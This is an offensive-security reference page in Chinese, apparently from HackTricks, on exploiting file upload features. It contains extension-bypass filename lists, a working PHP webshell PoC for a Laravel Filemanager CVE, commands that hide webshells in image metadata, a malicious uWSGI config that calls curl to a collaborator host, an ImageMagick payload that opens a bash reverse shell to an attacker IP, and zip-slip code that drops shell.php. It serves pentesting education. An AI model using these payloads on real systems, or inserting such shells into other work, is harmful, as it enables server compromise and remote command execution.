文件上传

Reading time: 26 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

文件上传通用方法论

其他有用的扩展名:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

绕过文件扩展名检查

  1. 如果适用,请检查之前列出的扩展名。还要使用一些大写字母进行测试: pHp, .pHP5, .PhAr ...
  2. 检查在执行扩展之前添加一个有效扩展(也使用之前的扩展):
  • file.png.php
  • file.png.Php5
  1. 尝试在末尾添加特殊字符。你可以使用 Burp 对所有 asciiUnicode 字符进行bruteforce。 (注意你也可以尝试使用之前提到的扩展名)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. 尝试通过欺骗服务端的扩展名解析器来绕过保护,使用诸如重复扩展名或在扩展名之间添加杂乱数据null 字节)等技术。 你也可以使用之前的扩展名来构造更好的载荷。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 在之前的检查中再添加另一个扩展层
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 尝试把可执行扩展放在有效扩展之前,希望服务器配置错误。(对利用 Apache 的错误配置有用:任何带有扩展 .php 的文件——不一定以 .php 结尾——都会执行代码):
  • ex: file.php.png
  1. Windows 中使用 NTFS alternate data stream (ADS)。在这种情况下,会在被禁止的扩展后和允许的扩展前插入一个冒号字符 ":"。因此,服务器上会创建一个带有被禁止扩展的空文件(例如 "file.asax:.jpg")。该文件可能稍后通过其他技术(例如使用其短文件名)被编辑。模式 "::$data" 也可用于创建非空文件。因此,在该模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.")
  2. 尝试突破文件名长度限制。有效扩展被截断,恶意 PHP 被保留。 AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. 末尾点) – CVE-2024-21546

某些上传处理程序会从保存的文件名中去除或规范化末尾的点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中,你可以通过以下方式绕过扩展名验证:

  • 使用有效的图像 MIME 和 magic header(例如 PNG 的 \x89PNG\r\n\x1a\n)。
  • 将上传的文件命名为 PHP 扩展并在其后加一个点,例如 shell.php.
  • 服务器会去掉末尾的点并保存为 shell.php,如果它被放在可被 web 访问的目录(默认公共存储,如 /storage/files/)中则会执行。

最简 PoC (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

然后访问保存的路径(在 Laravel + LFM 中典型):

GET /storage/files/0xdf.php?cmd=id

缓解措施:

  • 升级 unisharp/laravel-filemanager 到 ≥ 2.9.1。
  • 实施严格的服务端 allowlists 并重新验证持久化的文件名。
  • 将上传文件托管在不可执行的位置。

绕过 Content-Type、Magic Number、Compression & Resizing

  • 绕过 Content-Type 检查:将 Content-Type headervalue 设置为:image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • 绕过 magic number 检查的方法是在文件开头添加 真实图片的字节(混淆 file 命令)。或者在 metadata 中引入后门:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ 或者你也可以直接将 payload 注入到图片中
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 如果 对你的图片进行了压缩,例如使用一些标准的 PHP 库如 PHP-GD,前述技术可能无效。不过,你可以使用 PLTE chunk technique defined here 插入一些文本,这些文本将在压缩后存活
  • Github with the code
  • 网页也可能会对 image 进行 resizing,例如使用 PHP-GD 的 imagecopyresizedimagecopyresampled。不过,你可以使用 IDAT chunk technique defined here 插入一些文本,这些文本将在压缩后存活
  • Github with the code
  • 另一个使 payload 在图片缩放后仍然存活 的技巧,是利用 PHP-GD 的 thumbnailImage。不过,你可以使用 tEXt chunk technique defined here 插入一些文本,这些文本将在压缩后存活
  • Github with the code

其他需要检查的技巧

  • 寻找可以重命名已上传文件(以更改扩展名)的漏洞。
  • 寻找 Local File Inclusion 漏洞以执行后门。
  • Possible Information disclosure:
  1. 多次(并且在相同时间)上传同一文件且使用相同名称
  2. 上传一个名称与已存在的文件文件夹相同的文件
  3. 上传一个名称为 "."、".." 或 "..." 的文件。例如,在 Windows 上的 Apache 中,如果应用将上传文件保存到 "/www/uploads/" 目录,"." 这个文件名会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
  4. 上传一个可能难以删除的文件,例如 "...:.jpg"NTFS 上。(Windows)
  5. Windows 上上传包含 无效字符(例如 |<>*?”)的文件名。(Windows)
  6. Windows 上使用保留(禁止)的名称上传文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
  • 也可以尝试上传一个可执行文件 (.exe) 或 .html(看起来不那么可疑),当被受害者意外打开时会执行代码

Special extension tricks

如果你正尝试向 PHP server 上传文件,查看 take a look at the .htaccess trick to execute code
如果你正尝试向 ASP server 上传文件,查看 take a look at the .config trick to execute code

.phar 文件类似于 Java 的 .jar,但用于 php,可以像 php 文件一样使用(用 php 执行,或在脚本中 include……)

.inc 扩展有时用于仅用于import files 的 php 文件,因此某些情况下有人可能允许该扩展被执行

Jetty RCE

如果你能向 Jetty server 上传一个 XML 文件,你可以获得 RCE because new *.xml and *.war are automatically processed。因此,如图所示,将 XML 文件上传到 $JETTY_BASE/webapps/ 并期待 shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

关于该漏洞的详细研究请查看原始研究: uWSGI RCE Exploitation

远程命令执行 (RCE) 漏洞可以在 uWSGI 服务器上被利用,前提是攻击者有能力修改 .ini 配置文件。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和运算符。值得注意的是,'@' 运算符以 @(filename) 的形式使用,旨在包含文件内容。在 uWSGI 支持的多种 scheme 中,"exec" scheme 特别强大,允许从进程的标准输出读取数据。当 .ini 配置文件被处理时,这个特性可能被滥用以实现远程命令执行或任意文件写入/读取(Arbitrary File Write/Read)。

考虑下面这个展示多种 scheme 的恶意 uwsgi.ini 示例:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

payload 的执行发生在配置文件解析期间。要使配置被激活并解析,uWSGI 进程必须要么重启(可能是在崩溃之后或由于 Denial of Service attack),要么将该文件设置为 auto-reload。auto-reload 功能(如果启用)在检测到更改时会按指定间隔重新加载该文件。

必须理解 uWSGI 配置文件解析的宽松性。具体来说,上述 payload 可以被插入到二进制文件(例如图像或 PDF)中,从而进一步扩大潜在利用的范围。

wget File Upload/SSRF Trick

在某些情况下,你可能会发现服务器使用 wget下载文件,并允许你指定 URL。在这些情况下,代码可能会检查被下载文件的扩展名是否在白名单内,以确保只下载被允许的文件。然而,此检查可以被绕过。
linux文件名最大 长度是 255,但 wget 会将文件名截断为 236 个字符。你可以 download a file called "A"*232+".php"+".gif",这个文件名会 绕过检查(在本例中 ".gif" 是一个 有效 的扩展),但 wget 会将该文件重命名为 "A"*232+".php"

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

注意,另一种选项(你可能会想到)来绕过此检查是让 HTTP server 重定向到不同的文件,这样初始 URL 会绕过检查,然后 wget 会下载重定向后的文件并使用新名称。除非以 --trust-server-names 参数使用 wget,否则这不会起作用,因为 wget 会使用原始 URL 中指示的文件名来下载重定向页面

工具

  • Upload Bypass 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试 file upload 机制。它利用各种 bug bounty techniques 来简化识别和利用漏洞的过程,确保对 web applications 的彻底评估。

使用 snprintf 特性损坏上传索引(历史)

一些遗留的上传处理器使用 snprintf() 或类似函数从单文件上传构建多文件数组,可能被欺骗成伪造 _FILES 结构。由于 snprintf() 行为中的不一致和截断,一个精心构造的单次上传在服务器端可能表现为多个带索引的文件,从而混淆假设严格结构的逻辑(例如,将其视为多文件上传并走不安全的分支)。尽管在当今已属小众,但这种“索引损坏”模式偶尔会在 CTFs 和旧代码库中重新出现。

从文件上传到其他漏洞

下面是一个通过上传可以实现的前十项清单(来自 here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

有关其他文件类型,请参阅 https://en.wikipedia.org/wiki/List_of_file_signatures

Zip/Tar 文件自动解压上传

如果你可以上传一个在服务器端会被解压的 ZIP,你可以做两件事:

符号链接

上传包含指向其他文件的软链接的链接文件,然后访问解压后的文件时你将访问到被链接的文件:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

在不同文件夹解压

在解压过程中意外在目录中创建文件是一个严重的问题。尽管最初可能认为这种设置可以防止通过恶意文件上传进行 OS-level command execution,但 ZIP archive format 对层级压缩的支持和 directory traversal 能力可以被利用。这使得攻击者能够通过操纵目标应用的 decompression 功能来绕过限制并逃出 secure upload directories。

可以在 evilarc on GitHub 获取用于制作此类文件的 automated exploit。该工具的用法如下:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

此外,symlink trick with evilarc 是一个可选方案。如果目标是像 /flag.txt 这样的文件,应在你的系统中创建一个指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。

下面是一个用于创建恶意 zip 文件的 Python 代码示例:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

滥用压缩来进行 file spraying

For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. 创建 PHP Shell: 编写 PHP 代码以执行通过 $_REQUEST 传递的命令。
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying 和 压缩文件创建: 创建多个文件,并将它们打包到一个 zip 归档中。
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. 使用 Hex Editor 或 vi 修改: zip 内部的文件名使用 vi 或十六进制编辑器被修改,将 "xxA" 改为 "../" 以进行目录遍历。
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

将此内容以图像扩展名上传以利用该漏洞 (ImageMagick , 7.0.1-1) (来自 the exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

将 PHP shell 嵌入到 PNG 文件的 IDAT chunk 中,可以有效绕过某些图像处理操作。PHP-GD 中的 imagecopyresizedimagecopyresampled 函数在此场景中特别相关,因为它们通常用于图像的缩放和重采样。嵌入的 PHP shell 在这些操作中保持不受影响的能力,对于某些用例而言是一个重要的优势。

关于该技术的详细探讨,包括方法论和潜在应用,请参见下面的文章:"Encoding Web Shells in PNG IDAT chunks"。该资源对该过程及其影响提供了全面的理解。

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot files 在网络安全中作为一种独特工具,就像变色龙一样可以同时作为多种文件格式合法存在。一个有趣的例子是 GIFAR,它既是 GIF 又是 RAR 的混合体。这类文件并不限于这一组合;例如 GIF 与 JS、PPT 与 JS 的组合也是可行的。

polyglot 文件的核心用途在于其规避基于类型筛查文件的安全措施的能力。各种应用中的常见做法是只允许上传某些文件类型——比如 JPEG、GIF 或 DOC——以降低潜在有害格式(例如 JS、PHP 或 Phar 文件)带来的风险。然而,polyglot 通过符合多种文件格式的结构特征,可以悄无声息地绕过这些限制。

尽管具备适应性,polyglot 也存在局限。例如,虽然一个 polyglot 可能同时体现为 PHAR 文件 (PHp ARchive) 与 JPEG,但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统对允许的扩展名有严格限制,polyglot 的结构双重性本身可能不足以保证其被接受上传。

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

如何通过伪装为 PDF 文件来上传有效的 JSON 文件以规避文件类型检测(技术来源于 this blog post):

  • mmmagic library: 只要 %PDF 魔术字节位于前 1024 字节内,就被认为是有效的(示例见文章)
  • pdflib library: 在 JSON 的某个字段内加入一个伪造的 PDF 格式,使该库认为这是一个 pdf(示例见文章)
  • file binary: 它可以从文件中读取最多 1048576 字节。只需创建一个比这更大的 JSON,使其无法将内容解析为 json,然后在该 JSON 中放入真实 PDF 的初始部分,它就会认为这是一个 PDF

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks